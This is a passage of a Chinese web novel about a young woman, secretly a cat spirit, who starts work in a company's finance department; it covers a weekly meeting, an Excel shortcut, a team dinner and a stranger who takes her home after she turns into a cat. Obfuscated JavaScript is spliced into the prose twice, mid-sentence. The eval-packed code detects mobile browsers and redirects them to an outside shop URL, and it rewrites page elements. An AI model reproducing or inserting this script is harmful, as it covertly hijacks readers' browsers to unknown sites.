压力好大。她偷偷的咽了一口唾沫。明明这些话跟上周的几乎一模一样，没想到当她身处局中是这样地有压迫感。 林妙棠嘴角弯起，从容道：“丁总好，各位好。目前半年报已经完成出具。总账接下来的工作会配合预算那边进行上半年预算的取数复盘。……” 她的语速偏快，涉及到数据也是随手拈来，眼神会随着话语的内容转向对应岗位的同事。 “另外，研发部门提出的总账系统软件国产化一事。根据旧有的软件采购流程，项目立项后，还有招标等一系列流程要走。我认为，按照目前的工作安排，这个季度随时可以配合立项。”说到最后，她的视线淡淡地从丁总监的方向转到苗小卉身上。 “涉及的工作量肯定会增加，不过没关系，到时候有需要我会让小卉帮我。” 随着林妙棠的话音落下，所有人顺着她的话也看向了坐在末尾的苗小卉。 她放在桌子底下的手兀地收紧，脸上努力维持原来的表情。 丁总监只浅浅扫了她一眼，颔首道：“可以。” 吴韶君很快接上，“好的，下一位，总部费用成亚。” “丁总好，各位……” 成亚的声音只在耳边轻轻滑过，苗小卉的心思都在林妙棠那。她发现，林姐好像在帮她。 姑且不说她上周的工作，唯一的凭证粘贴就是林姐给安排的。就说刚刚林姐的汇报，代表接下来很长的一段时间内，她都处于待命状态，存在感biubiu地往上升。 林姐太好了。想到这，她突然就有些后悔，之前给林姐舀蜂蜜的时候自己好像有点过于抠抠索索，应该大方一点的。 只晃神了一会，就轮到她了。 她深吸了一口气，学着他们的开头，“丁总好，各位好。我这边上周刚入职，主要工作是认识了部门内部的人员，熟悉财务系统和公司的日常办公流程，协助总账进行会计凭证的粘贴。下周的主要任务是完成全部凭证的粘贴，还有各位安排的其他工作。” 短短几句话，全部说完还不到一分钟。但就这么一会，她已经感觉自己的背后，已然沁出了一层薄汗。 那位丁总又在看她，他的视线存在感很强，她没抬头也能感觉出来。 “很好。各位继续努力。”顿了一下，宣布道：“周五晚上部门聚会，同时算是给新来的同事办一场迎新会。地点到时会发到群里。今天会议就到这，散会。” 怎么又来一场聚会。刚度过一大难关的苗小卉眉心不自觉地皱起。 联想到当时签劳动合同的时候，人事说的部门经费的事情，第一次觉得公司福利太好也不是一件好事。 但其他人已经开始欢呼了，萧乐乐很喜欢聚会。她们丁总出身好，为人挑剔，选的聚会地点都是高大上的地方，去了几次后感觉自己见识都涨了不少。 当然了，重点是免费。就算预算超标，最后丁总也会自掏腰包补上。 她拉着成亚，公司的总部费用会计，询问道：“咱们这次聚会有多少费用可以用啊？” 成亚不确定，“我得回去看看。这次好像是联合预算部和资金部一起的，如果只是我们部门的话，三个月四千两百块。不包括丁总的。” “这么多。”萧乐乐捂嘴，随即乐了起来，“那这次选的地点肯定非同凡响了。” 目露憧憬，她已经开始期待起来了。 苗小卉趁她不注意赶紧溜出会议室。她好怕一会萧乐乐拉着她一起期待。 她演不出来。 * 摸鱼，贴凭证，接下来的工作时间过得很快。 虽然周一例会上，林姐说有需要会找她帮忙，但实际是，这两天，压根就没有给她安排其他新的工作。 这可太棒了，苗小卉很享受这种每天上班就干一点点活，还能拿几千块的神仙日子。 唯一让她觉得难受的，大概就只有那封发出去的邮件了。她一直没收到温航的回信。 回到家的苗小卉，洗完澡变回小猫后，就趴在床上用爪子在手机屏幕上下滑。 明明知道刷新也没用，还是忍不住下滑刷新收件箱，情绪止不住地沉了下去。 跟她以前发过的评论一样，如同石沉大海，连一滴水花都没激起。她早就习惯了，但心里还是觉得闷闷的。 可能是她写的不够好吧。她叹了口气，没关系，如果有新的建议，她还会继续发的。 不要不高兴，她理智地告诉自己。只是，身后蓬松的尾巴还是噼里啪啦地甩动着。 她拍开手机，闭上蓝色的猫瞳。 睡一觉，应该就会好了。 “砰！砰！砰！” 蓝色的天空忽地就开始乌云密布，她抬头看天，应该要下雨了。 很快，斗大的……黑影从天而降。 “喵！”她尖叫出声，身躯不由得绷紧，怎么下的是石头。 想找一个地方躲石头，却发现周围都是苍茫的荒地，空荡荡的天地间仿佛就只剩下她一个人。 左躲，右闪。被迫使出从未有过的身法速度躲避着从天而降的石头…… 可身法再好也没用。大地裂开了，她一脚踩空…… “啪！”“喵！” 一只灰白布偶圆乎乎地从床上滚了下去。毛发凌乱，睡眼惺忪。 她这是……做噩梦了？ “砰！砰！砰！”声音还在继续，她竟一时之间分不清楚自己是还在梦中还是身处现实。 定神后，苗小卉这才发现，声音是来自于墙壁。这面墙的隔壁是，502，那位大熊猫。 三更半夜，她自然不会贸贸然地去隔壁敲门。苗小卉跳上床，摸出刚刚甩到床头缝里的手机，先看了眼时间，两点四十二分。 撇嘴。给社区服务热线打了个电话。 “您好，幸福小区社区服务员102号为您服务。请问您有什么事吗？” “你好，我这里是2栋503，我的隔壁502在锤墙，吵到我了。”苗小卉有气无力地说，“我明天还要上班。” “好的稍等我查一下登记信息。”电话那端安静了一会，很快那道女声继续响起，“抱歉，502的熊君霖已经登记过了，他最近体内激素不太稳定，可能会存在间歇性的锤墙、撞地板等行为。我给他发个信息让他换一面墙锤。” 这是什么解决办法吗？苗小卉无力吐槽。 换一面墙锤的话，吵到的就是501了，她回想了一下，501好像住的是两只兔狲吧。好像也行，那俩都是晚上不睡觉的主。 “那就先这样吧。”顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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产品经理：“我们希望市场部可以考虑一下走线下地推直播方式，通过直播在各个平台中引流。” “那产品本身呢？优化这方面是如何考量的。” “……”产品经理沉默，“如果没有足够多的消费者，推出的产品就已经是我们经过测试做过的最好的版本了。” “最好？你口中的‘最好’的新产品目前卖不动。”温珩此话一出，整个会议室内的人瞬间齐刷刷地低下了头，完全不敢看那还能噙着笑说话的男人。 温珩看到这些人的动作，嘴角讽刺的笑意加深。食指示意，特助王陆将手中抱着的一大摞文件一份一份地分发下去。 “既然数据不好看，那我们话也不需要说太多。大家一起签吧，从产品到生产到销售，包括我在内，一起签署这份军令状。” 所有人如坐针毡，翻开面前的文件，看到里面写着的降薪、辞职等这种字眼，如丧考批。愁着脸看向温航。 温航也很头大，他才上任，还啥都没摸熟悉。抓了抓自己的头发，哀怨地看向主位上的人，“哥……” 温珩眉梢微动，凉凉的眼神看了过去。 “温总。”温航识相，立马改口，“我将代表我们市场部，签下这份军令状。争取下半年将销售额涨回来！” 艹！他们之间有叛徒！其他部门的高管瞬间垮了下去。 但他们的脸色不好看，温珩却当全然都没看见般，只是和颜悦色道：“放心，我也一起签。完成了，明年涨薪幅度上调到百分之五。但如果完不成，那就没办法了。” 用最和悦的表情，最轻柔的话语，说着最让人心魂不定的话。 散会后，温珩回到自己的办公室，温航跟在他后头，“哥，要做不到，真的会开除人吗？” “你说呢？”温珩懒得回答，坐回办公桌后抬手便抽出一份文件。 温航滞住，所有的话都卡在喉咙中。他来公司后，听多了大家都怕他哥的话，这还是他第一次直面他哥的雷霆办公手腕。 太可怕了。 特助王陆走了进来，低声道：“温总，跟北美公司的会议还有五分钟就要开始了。” “那、那我先去忙了。”温航呐呐道。 “等等，”温珩从文件中抬头，“周五晚上，跟我出去一趟。带你见些人。” “去哪？” “金鼎。” 13. 迎新 时间过得很快，转眼便到了周四，苗小卉搓着手想，再有一天就到周末，一周的工资又能到手。 群里已经通知明天晚上部门聚会的地点，在金鼎的包厢五福。菜单也已经提前发到群里让所有人预选。 苗小卉看了，象征性地选了一道糖醋松子鱼。剩下的，他们点什么她就吃什么。海鲜水产她都喜欢吃，只看烹饪的方式而已。 下午，负责分公司费用审核的李莱在蓝讯上联系她。她走到李莱办公桌前，就见李莱指着屏幕上的PPT问她，“小卉，你会画图吗？” 她的电脑屏幕上是一份打开着的PPT，里面展示的是一份数据柱状图，这个很简单，“会的。” “那好。这个图比较麻烦，我也不急，就给你两天时间，下周二之前，把这个图给我，图标数据在这。”她说着，将文件拉到蓝讯对话框，给她发送了一份Excel文档和一份PPT文档，“图画好以后就把PPT文档发回来给我。” 麻烦？两天？苗小卉看了一眼眼前人，她是认真的吗？还是有什么特殊的地方被她忽略了。 李莱是办公室年纪最大的一位，四十几岁，听说过几年就能退休。黑色的头发中掺杂了许多银白的发丝。眼尾的皱纹随着她眨眼的动作忽隐忽现。是她印象中老财务的标准模样。 那这是独属于老会计的摸鱼方式？她脑洞大开地想着，不管如何先应了下来。 她的岗位是助理，不是独属于总账或主管的助理，其他会计有工作安排她也需要配合。只是回到座位后，还是觉得有些地方不太对劲。 她打开李莱发给她的两份文档，在Excel文档中，拉取数据，摁下“Alt+F1”，以月份为横坐标轴，金额为纵坐标图的各个类别金额柱状图瞬间就出来了。 完成了，前后不到一分钟。她就完成了李莱说的可能要忙很久的、比较麻烦的工作。 好不现实啊，这么简单，莱姐自己做就完了，分给她做什么。 完全想不通。苗小卉托着腮对着电脑发呆。耳朵偶尔还能听见办公室其他人聊天。聊天内容除了工作，就是八卦。 不过现在已经没有人提她跟卢主管的事情了。办公室里大家都不忙，人闲瓜就多，最新的是预算那边的一个男孩子，他女朋友跟人跑了，而那位第三者，据说还是销售部门的。 萧乐乐最爱凑这类热闹，将新鲜热乎的瓜吃完回来，在办公室与不好意思过去凑热闹的成亚小声讨论。本来还想拉上她，可惜，她对这类情情爱爱的事都不怎么感兴趣。 对面角落的吴主管倒是很忙，只是忙的东西跟工作没有太大关系。她拉着林妙棠，一直在讨论明天晚上的菜单。 细数下来，整个办公室，好像只有莱姐在努力工作。但财务就是这样，月中就是比较空闲。 工作与专业对口的苗小卉日常偷懒摸鱼，而被迫赶鸭子上架出任市场经理的温航就没这么好过了。 会上被问得哑口无言后，他连忙下单了几本关于市场营销的书籍，打算临时抱抱佛脚，同时也让他哥看到他努力学习、积极进取的行为和态度。 只是，今天回到家怎么也找不到自己的快递。 “岑管家，”温航喊人，“你看到了我的快递没？很重的，四四方方，里面是书。” 岑管家正在厨房检查卫生，闻言，走出来，“书吗？我以为是珩少爷的，放他书房里了。” 这也不怪他，高考结束后，温航就扬言以后再也不学习了，把所有书籍卖的卖，丢的丢，一本不留。 “哦好。” 温航上楼，打算去他哥的书房拿。正好，他哥那个工作狂现在应该还在书房，可以顺便表现表现。 但他没想到，伸手推开书房的门，入眼是满室的昏暗，只有淡淡的烟味萦绕在鼻尖。 他哥抽烟吗？他怎么不知道。心底暗道，可惜他哥不在书房。 “啪”地一声，打开书房的灯。 本以为不在的人，乍然出现在那张宽大的书桌后面，白日的外套和领带都已经脱下随意丢在一旁的沙发上，身上的白衬衫随意解开了几个扣子，领口微皱。 垂着的眼眸抬起，眼底涌入灯光，却依旧晦暗如墨。 “哥，”温航尬笑着，咕哝着，“原来你在啊，怎么不开灯呢。” “有事？” 温航已经眼尖地看到摆在书桌一角的一叠崭新的书籍，走过去，“哦，我买了点市场营销的书籍，打算看看，找点营销灵感。争取下次你问我答的时候，我能对答如流。” 他贫了几句。走近了，才看到他哥垂落在膝盖上的右手，食指与拇指捏着一根烟，“啊，哥你……这抽烟的姿势真特别。”反正他是没见过抽烟的人拿烟是捏着烟嘴的。 “我不抽。”他垂眸看了眼手里的烟，他只是点了，想给自己一根烟的时间而已。 可惜了，还有一半。 “好好学习。”抛下这句话，温珩将烟熄灭，丢到一旁的垃圾桶中。 * 翌日，周五早上。 苗小卉打着哈欠，捂着胸口一脸心疼地从茶水间出来。这日子真是没法过了。晚上睡不好就算了，白天还要对她重拳出击。 就在刚刚，她从冰箱里拿出蜂蜜准备泡蜂蜜水的时候，一旁的吴主管不知道为什么，突然出声问她蜂蜜好不好喝，脸上是一脸跃跃欲试的模样。 她再傻也知道客套一下，结果就被毫不客气地挖了一大勺。而一旁的萧乐乐见了，也蹭了过来要了一勺。 这才两周啊，她这一罐可以喝三个月的蜂蜜感觉都已经去了三分之一，心疼死她了。 这罐蜂蜜是她们妖管所独家发售的，其他地方都没得卖。垄断了也不造富妖灵们，还卖得死贵死贵的……一想到钱，她就更难受了。 捂着胸口回到座位上，默默地在心里哀嚎了许久，才开始今天的工作。 所有的凭证粘贴已经完成，林姐验收过了，她很满意。莱姐给的画图任务她也做完了。那就代表，今天除了写周一的汇报文稿，就没其他事情了。那剩下的时间就全都是摸鱼时间了。 真棒，她心情由阴转晴。按照惯例将文档全部打开，准备先摸一个上午的鱼，汇报下午再写。 眼神不经意地瞟了眼莱姐给她的那份PPT，似乎看到了一点很不协调的东西。 她好奇，开始仔细查看。跟她出来的图片没有区别……等等，有一点区别。 她操作鼠标连续几次放大图片后，意外地发现，这些圆柱好像Excel里面的一列列单元格组成，而且，横、纵坐标轴中的金额比例失衡。 什么情况？ 一个惊悚的想法浮现在她的脑海里—— 这个图，不会是莱姐直接用软件画的吧。 太夸张了。她被自己的念头吓了一跳。猛地抬头看向李莱。 此时，李莱正站起来，端着水杯准备去茶水间接水。一眼就注意到了她的视线，特意走过来，柔声道：“这个活比较细，你慢慢做就好，不急。” “我这个，要用什么软件吗？”苗小卉还是不太愿意相信这个图是手工制成，试探性问道。 “就Excel。你把格子的行、列宽调整一下就可以的了。” 调宽距？这句话对于一个知道办公要使用office软件后，为了更好地偷懒，三天直接看完一整本Excel快捷键的苗小卉来说，不亚于直接投下一个爆弹，炸得她头眼昏花。 太可怕了，纯手搓？她一时之间竟然不知道做什么反应好。 李莱看她呆呆的一时没反应过来的模样，以为她在思考怎么操作，也不多说什么直接走开。留苗小卉一个人坐在位置上思考人生。 人类，可真是个神奇的物种啊，能多样化成这样。难怪人类总说，一种米养百种人呢。 苗小卉感叹着。 但很快，她又有了新的烦恼。这么便捷的方式，她要说吗？说真的，如果不说，她过不了自己这一关。 她很难想象一个办公技能匮乏的人，得在计算机操作上额外消耗多少的心血，才能赶上别人的轻而易举。她见不得有人被困在工作中。 身后的人来来去去，在这片繁忙的鼠标声与键盘声中，她决定了，等一会下班，其他人都走了，就跟莱姐悄悄把这事情说了。 很快，临近下班时间，苗小卉掐着时间读着秒，精准地在下班前一分钟，拦在李莱面前，“莱姐，我有个东西要请教一下您。” 李莱手握鼠标正准备点关机，听了这话，直接顿住，“现在？” 脸上满是“你确定”的疑问。 苗小卉没办法，硬着头皮点头，“对，特别急，您打开那个Excel文档。放心，我很快的。” 此时吴韶君她们都已经收拾好东西准备去吃饭了，见苗小卉将莱姐拦住，正准备上前劝劝，结果听了这句“我很快的”，索性也就不劝了。 “莱姐，小卉，那我们先过去，你们俩快一点。别迟到了啊。” 李莱：“知道知道。” 她听到“迟到”二字，脸上明显焦灼，语气也跟着急促起来，“看吧，哪里不清楚。” 苗小卉弯下腰看向电脑屏幕，耳朵微动留意着离去的脚步声，待距离差不多之后，她握住李莱办公桌上的鼠标，拉取数据，摁下“Alt+F1”按键。 瞬间，一个柱状图出现在了Excel文档中。 李莱瞳孔收缩，张着嘴巴瞪着屏幕，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482252|201814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这……怎么出来的？你按了哪里？” 她想起之前，看办公室里的这些小朋友们的PPT上做出来的漂亮图表，她也学着做，结果一个图表费了她三天。 她问过萧乐乐，也问过成亚，都说在Excel表上做就可以。但是她真的不懂啊，又不好逐字逐句地去问一个后辈，最后只能硬着头皮画……现在回想起来，那些日日夜夜，对比苗小卉刚刚给她展示的一秒完成。她真的要吐血了。 “您……还好吧？”苗小卉小心翼翼地观察着李莱的脸色，她脸上情绪很复杂，她读不出来，但说不上好看，完全没有那种得知操作快捷键的喜悦之色。 她这不会多事了吧？ 李莱抬手，握住她的手腕，“没事，我知道了。咱们今天就到这，下周回来我再研究看看。” 说着，停顿了一下，又看着苗小卉，语气诚恳，“谢谢你，小卉。” “啊，没有的。”苗小卉有些不好意思。 李莱扫了眼屏幕右下角的时间，神色肉眼可见地慌张起来，“快走快走。再晚就完了。” 苗小卉不解，迟到有那么可怕吗？ 十五分钟后，她与李莱抵达这次部门聚会的金鼎饭店。 金鼎饭店的装潢，店如其名。以金色为主题色调的墙布暗含金线，在暖色水晶灯的照耀下闪着暗芒。 行色匆匆的两人没心思欣赏，在服务员的带领下，直接来到门口挂着“五福”牌子的包厢。 此时包厢的黄铜大门开着，刚到门口，一眼就能看到包厢内乌泱泱的人，她们财务部，原来这么多人的嘛。 李莱一点都不意外，抢先一步进入包厢，坐到了其中的一个空位中。 而脚步迟缓的苗小卉晚了一步，看着场上剩下的唯一一个空座，就在那道讨厌的薄荷味旁边。 瞬间就明白了刚刚莱姐为什么那么急。原来这就是迟到的惩罚，那确实可怕。 此时包厢内，丁无忧已经脱下了穿着的黑色西装外套，身上穿着的衬衫白得刺眼，面朝大门坐在主位，眼神正定定的盯着她。 好窒息。从来都是奉行遵纪守法准时守诺的她，第一次感受到了，迟到的恐怖之处。万一她表现不好，领导会不会当场给她开掉。 这样一想，她更迈不动步了。 “还愣着坐什么，过来呀。”坐在丁总另一边的吴韶君起身朝苗小卉招手，眼底也是十分无奈。 她们丁总素日冷着脸，工作情绪从来都是当场发作，能力确实很强，他来了以后部门的办事能力显著提高了不少。但人缘还是很差，挽回不了的那种。 尤其是预算部以及资金部那边，每次出具的暂估数据都要经他一番毒舌挑剔，压根没人愿意坐他旁边。除了自己这个别有用心的以外。 也因此，财务整个部门每次聚餐，丁总监身旁必会有一个位子空出来。如果遇到的是类似这种人数需要提前预订的场合，那么，最迟到场的那一位就只能坐到丁无忧旁边了。 随着越来越多的目光投注在自己身上，苗小卉的大脑越来越空。无法退缩，只能拖着沉重的脚步，听吴主管的话，慢腾腾地走进包厢内，坐到那个空着的位子上。 而这一桌，除了跟她一起迟到的李莱和坐在丁总身旁的吴韶君，其他人她全部不认识。来得早的，比如她们核算部的几位同事，都坐另一桌了。 “嘿，今天的勇士。” “这女孩谁啊？新来的？” “对，核算部门新来的，还在试用期呢。” “啧，她们部门可真不像话，居然不照顾小朋友，怎么能让小朋友迟到啊。” “……” 窃窃私语，再小声她也都听得清楚，没有恶意，但都在看戏。她垂着眼默默想着，一眼也不敢朝旁边看，幸好另外一边是李莱，她偷偷地拖动椅子，离李莱更近一点，离旁边的大领导更远一点。 旁边隐隐传来一阵自胸腔发出的闷笑声。声音轻到她以为自己听错了。 李莱也看见她坐立不安的模样，端起旁边的茶壶给她杯子满上，“来，喝点水。”压压惊。 苗小卉抿嘴看了她一眼，端起水杯喝水。没怨她关键时刻丢下自己，只觉得自己做事情没选对时间，直接导致了这样的后果。 另一边的吴韶君已经开始张罗着让服务员上菜了。 虽然部门大领导在场，但这个时候已经是下班时间，周围也都是认识的同事，上班没聊完的事情，此时自然也接着聊了。没一个人将目光停留在领导的方向。 没了目光的投射，这些语境，让她仿佛回到办公室的时候，心情稍微放松了一点。只是，全场的气味很杂，但她还是能够嗅到她的右手边，散发着源源不断的那股清凉薄荷味道。 14. 意外 五福算是金鼎比较小的一个包厢了，但包厢内的空间还是很大，两张圆桌摆放后空间依旧绰绰有余。 财务部刚好二十个人，全部坐满。只是隔壁桌一片笑闹，这桌含蓄许多。 桌上摆好了餐盘碗碟，还将高温湿毛巾摆放成三角形的模样。 苗小卉左边是李莱，右边是领导。没一个说得上话的，只能听，同时低头假装研究这个三角形是怎么折叠的。 “我给你介绍一下吧。”李莱有点不好意思。 刚刚抢位其实还真没想那么多就是一个习惯。但现在坐下来了，还是觉得自己这样有点过分。 “咱们这桌，另外六个人，这三个都是资金部的，那边三个都是预算部的。我这次让你帮我做的PPT，就是下周跟预算部的人开会用的。” 苗小卉左耳听着李莱的话，右耳同时也听着旁边的动静。 吴主管端起水壶给丁总倒水，丁总低声同她道谢。坐在吴主管旁边的一个据说是预算部的女同事，极其小声地打趣吴主管，问她是不是想升迁。还有人正在讨论明天周末要带孩子出去玩的…… 一心二用，极大地分散了自己的注意力，但她内心惴惴，毕竟旁边坐着的是随时可能找茬开掉自己的领导。只小心翼翼地应付着莱姐的话。 直到，李莱话锋一转，“诶，小卉，你找男朋友了没有啊？” “啊？”她愣了一下，下意识摇头。 苗小卉这才想起，为什么办公室跟李莱聊天的人少了。萧乐乐曾提过一嘴。她的年龄大是一回事，另一个原因是，她很关爱她们这群“小辈”同事的爱情、婚姻乃至家庭问题。 用萧乐乐的话来说，她热爱吃瓜，但不爱吃自己的瓜。所以她不喜欢同李莱闲聊。 “我跟你说，你们这班小年轻，可要提起精神了，别仗着自己年轻就不觉得日子还长着……” 苗小卉满头黑线。 幸好，鱼贯而入的传菜员及时拯救了她。 “麦冬鸽子汤，清蒸膏蟹，糖醋松子鱼，海鲜毛血旺，辣椒小炒肉……”随着上菜人念着菜名，电动餐桌转盘开关被打开，无声无息地顺时针运行，一道又一道的菜上桌，食物的香气散发开来，吸引了所有人的注意力，场面有一瞬间的安静，只剩下服务员报菜名的声音。 一道道美食顺着转盘来到苗小卉面前，又顺着转盘离开，她捏紧筷子，顾不上什么了，朝领导的方向望去。期待他赶紧动第一口。 其他人也都望了过来。 只见他们的丁总丁无忧，嘴角微弯，露出一抹笑容来，“很高兴，我们又共事了一个季度。先给各位介绍一下，新来的同事，苗小卉。”说完，还将手势指向身旁的人。 苗小卉怔了一下，连忙放下筷子，不知道说什么，只能起身给了个15度鞠躬礼，朝所有人问好，“各位好。” 随后，丁无忧继续说：“不在公司，不谈公事。那接下来大家就吃好，喝好。再过一个愉快的周末。”说完，用红色公筷夹了一口酥嫩的松子鱼。 “开饭开饭。”气氛顿时就热闹起来了。 盘碗筷的碰撞声，细微的咀嚼声，吃到美食的惊叹声，成了接下来一段时间的主旋律。 苗小卉也吃得很满足，感觉今天来的特别值得。 她最喜欢的不是自己点的那道酸甜可口的松子鱼，而是那盘冰鲜三文鱼刺身。口感细腻，还有淡淡的奶香味道，吃起来简直回味无穷，好吃哭了。 酒过三巡，菜过五味。 吃到差不多时候，大家也终于有了为人下属的“自觉”，准备好好把握这最好的“孝敬”时机。开始端起酒杯排着队，一个个地过来朝丁无忧敬酒。 “丁总，今晚大家吃得太好了，全靠您领导。我干了，您……嘿嘿。”说完一口闷了杯中的红酒。 “这是预算的主管，于溪。公司上下各个部门的预算对接负责人，他这人还行，就是爱拖拉，跟他干活的人，挺累的，得多催催。”李莱小声地在苗小卉耳边介绍。 “丁总，感谢您的领导，这酒我代我们资金部，敬您钱财自聚，身体健康。” “这是资金部主管，钱朵。她这人特别厉害，能把公司的股东哄得团团转不说，投资能力也很厉害，给公司创造不少额外收益。咱们财务下面三个部门，就属他们部门的奖金最高。” 他们都好厉害。苗小卉怔怔地看着，连盛好的海鲜汤都没顾上喝。 每个人都是一副落落大方、不亢不卑的模样，上下嘴皮子一碰，祝语顺手拈来，劝酒手段层出不穷，真真让她大开眼界。第一次直观地感受到了部门内的藏龙卧虎。 就在酒酣正浓的时候，一道贱兮兮的男性声音响起。 “哟，果真在这聚餐呢。” 包厢内的气氛骤然凝固，众人朝声音发出的方向看去。 而站在苗小卉身旁正在朝丁总敬酒的男人听到这个声音，“啪”地一下，将手中的酒杯重重地放到桌面上。 满满的一杯白酒，几滴酒液无声溅出，悄无声息地落入苗小卉的海鲜汤中。无人看见。 “张德正，你还敢来！”他几个跨步冲了过去，一把揪住来人的领口，“我说过了，见你一次揍你一次！” 说着，握紧的拳头挥了出去。 被扑上去的同事摁住，“阿庭，别激动，别激动。别中了他的激将法。你打了他他一定会报警的。” 几人在包厢门口拉扯，随之而来的，是李莱轻声在她旁边补前情提要。 “李庭，咱们预算部的。门口那个，应该是销售部的那位。前几天，酒店给李庭发了条短信询问住店体验的，让他发现他女朋友跟别人开房了。后面他女朋友坦白，说那个男人是公司销售部的，他就找上销售部那边去闹了。” “听说销售部主管早就想弄张德正了，这个事刚闹起来，就让张德正停职留薪了。”萧乐乐悄悄挪了过来，又补充了点后续，“是今天下午，刚出来的新瓜。” 她这边听到了，离她不远的丁无忧自然也听到了来龙去脉，心中有了计较，让吴主管留下看好他们。自己上前将人拦住，带到包厢外去了。 吴韶君意会，“各位继续吃饭，别去凑热闹了。” “啊……”萧乐乐哀嚎，“丁总怎么不给我们看热闹啊。” 还有不少人脸上也挂着同萧乐乐一样的遗憾表情。 还不等他们跃跃欲试去门口偷听，吴韶君绿泡泡响了，她看了眼，通知道：“大家继续吃，丁总不回来了 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好像真挺急的。 能不急吗？要是当着同事的面变成猫，她这工作就彻底结束了。 不知道海鲜汤里到底加了什么东西，她只觉得脑子里还有一点昏昏沉沉的感觉。越跑，越晕。 她现在在二楼，出饭店已经来不及了。她只能朝一定不会出现监控的洗手间跑去。 结果，刚过拐角，准备看清楚男女洗手间的瞬间，她的视线陡然降低。 她已经变成了一只布偶猫。 但这还不是最糟糕的，更糟糕的是，她有点晕。天旋地转的那种晕。 左右两侧都是紧闭着的厕所门，她甚至都进不去。 就在她以为自己要晕在这里的时候，就看到其中一道门打开了一条缝。 什么都来不及想，她扑了进去。扑在了一双干净得反光的皮鞋上。 男洗手间……她晕乎乎的想，那一定很脏吧。希望大饭店的可以好一点…… 逐渐失去力气，她扑进来后可能将人吓到了，那人松了手门又自动关上。 她被困在了男人的脚与门中间。只能强撑着最后的力气，抬头看去。 第一印象是，他很干净。西装打扮，挺阔得找不到一丝褶皱。身上是淡淡的茉莉花掺着猫薄荷的味道，淡得几不可闻。 第二印象是，他在笑，眼尾是往上扬着的，嘴角也是，笑意清浅。 看着就是个好人，大概能送她去宠物医院吧，她已经快支持不住了。 但苗小卉没料到的是，男人低头看了她一会，而后，轻拉裤腿蹲下身来与她平视，“你有主人吗？” 笑容和煦，语气温柔。 他蹲下来以后，那股儿淡淡的香味仿佛更浓郁了。 这味道让她有点上头。她呆愣地摇了摇圆得不可思议的猫脑袋。 她的反应既快且准。 男人眼底闪过一丝惊讶，随即笑意更浓，说道：“那你是我的了。” 苗小卉如海水般蓝汪汪的猫瞳瞬间瞪大，背脊一个激灵正准备炸毛，脑子却断了电，瞬间坠入黑暗。 15. 交流 刚打开厕所门，毫无防备地被一只毛绒动物扑到脚上。温珩的身躯是有一刹那的僵硬的。 他不是喜欢动物。 动物不可控，随时都可能暴起伤人，尤其是猫和狗，再温驯，也可能随时给你一爪子。 小时候，他跟邻居的狗玩，它突然扑了上来，一口咬在他的小腿肚上。时至今日，小腿肚后的疤痕还在。 但他没想到刚上完厕所，一打开厕所门就有一只猫冲进来紧紧抱着他的腿。 下颌紧绷，带着笑意的脸色有点僵硬，直到对上了小猫那双蓝宝石一般的圆曈。 是一只很漂亮的小猫。灰背白肚，毛发蓬松，看起来干净到不可思议的一只小猫。 他的心口松了下来。分出更多的心思观察腿上的小猫。 明明对彼此都很陌生，却紧紧地抱着自己，是……有其他人企图伤害它，而它将自己当成它唯一的救赎吗？ 这个猜测让温珩心中愉悦，心中顿时冒出一个从未有过的想法。 他反锁大门以防有人突然进来，蹲下身，习惯性地带上微笑，语气温柔，问它，“你有主人吗？” 问一只猫，他知道自己这样确实有些傻气。但这么多年来，先礼后兵，早已是他刻在骨子里的行事准则。 他没想到的是，小猫眨了眨眼，似乎听懂了，毛茸茸的圆脑袋晃了晃，好像在摇头。 猫可以这么聪明吗？他不知道，没了解过。但不妨碍他心中顿起的决心。 这只漂亮又聪明的小猫，他要据为己有。 于是，他嘴角笑意更深，宣布道：“那你是我的了。” 没想，话刚说完，小猫的双瞳陡然圆睁，随后直接闭上眼睛瘫软了下去。 温珩一惊，想抱起来却又不知道从何下手。干脆脱下身上的西装，将小猫包起来，再把猫抱起，急匆匆地朝饭店门口走去。 他自然不会觉得是自己的话将小猫吓晕，最大的可能性是饭店中的服务员发现有猫闯入，用类似安眠药的东西对小猫进行诱捕。怕只怕，用的药不只是安眠药。 从饭店二楼到饭店门口这一短短的距离内，他先让司机将车开到门口，又给助理打了电话，让他过来金鼎调查。 一坐上车，直接下令：“开车，回别墅。” 司机迟疑，说：“可是航少爷……” 温珩沉声，“他自己回去，开车。” 司机不敢再说话，发动车子，驶离金鼎。 还在饭店与新认识的供应商“谈笑风生”的温航还不知道。只一味地看着手表，奇怪他哥去一趟厕所怎么去了那么久。 温珩将西装展开，看到里面包裹着的小猫没有任何反应，尖尖的猫耳垂着，四肢摊开，只有肚皮随着小小的呼吸起伏。看不出问题，但他心里不踏实。 拿出手机给家庭医生打了个电话，“你会给猫看病吗？” 忙碌了一天的江医生：？？？ 但这个雇主还算是正常可交流的，给钱也大方，值得服务。 他想了一下，说：“我有个朋友是兽医，在宠物医院。我问他能不能去你那里一趟。” “好，价格你帮我开。让他尽快上门。”顿了一下，“算了，地址发给我，我直接过去。” 江医生眉尾动了一下，“好的。立刻。”挂上电话，联系朋友确保温珩去到宠物医院能一路绿灯后，才有时间惊叹。 他跟温家合作快三年了，温航还好，就是个普通公子哥，没什么脾气。但这个掌权人温珩就不一样了，心思深沉，笑面虎一个，还有洁癖。 之前有一次例行体检，他身上不知道从哪里沾了几条狗毛，刚进门就被温珩看见，直接让他回去，理由是今天不方便，让他明天再来。 他还以为是温珩他们不方便。结果管家私下询问他，是否开始养宠物了。那时候他才知道，敢情是嫌弃自己呢。 如今竟然还要纡尊降贵去宠物医院。呵，虽说不太道德，但他很期待这位雇主亲自捡屎的那天快点到来。 